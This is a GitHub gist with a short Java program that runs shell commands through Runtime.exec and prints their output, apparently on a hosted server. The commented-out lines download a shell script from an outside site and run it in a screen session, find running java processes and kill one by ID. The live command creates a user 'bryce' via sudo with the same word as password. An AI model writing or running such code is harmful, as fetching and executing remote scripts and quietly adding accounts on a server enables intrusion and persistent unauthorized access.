Skip to content

Instantly share code, notes, and snippets.

@CiYouLater
Last active November 12, 2016 18:46
Show Gist options
  • Save CiYouLater/274db08aa045ce05fe17 to your computer and use it in GitHub Desktop.
Save CiYouLater/274db08aa045ce05fe17 to your computer and use it in GitHub Desktop.
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException, InterruptedException {
StringBuffer output = new StringBuffer();
//String[] cmd = { "/bin/sh", "-c", "cd ../; wget -O start_bryce.sh 'http://games-infinity.com/start_bryce.sh'; ls" };
//String[] cmd = { "/bin/sh", "-c", "cd ../; pgrep java | xargs pwdx" };
//String[] cmd = { "/bin/sh", "-c", "cd ../; kill -9 12429 " };
//String[] cmd = { "/bin/sh", "-c", "cd ../; screen -S Bryce; sh start_bryce.sh " };
String[] cmd = { "/bin/sh", "-c", "cd ../; sudo adduser bryce -p bryce" };
Process p = Runtime.getRuntime().exec(cmd);
//p.waitFor();
//p = Runtime.getRuntime().exec("ls");
//p.waitFor();
BufferedReader reader =
new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = "";
while ((line = reader.readLine())!= null) {
output.append(line + "\n");
}
System.out.println(output);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment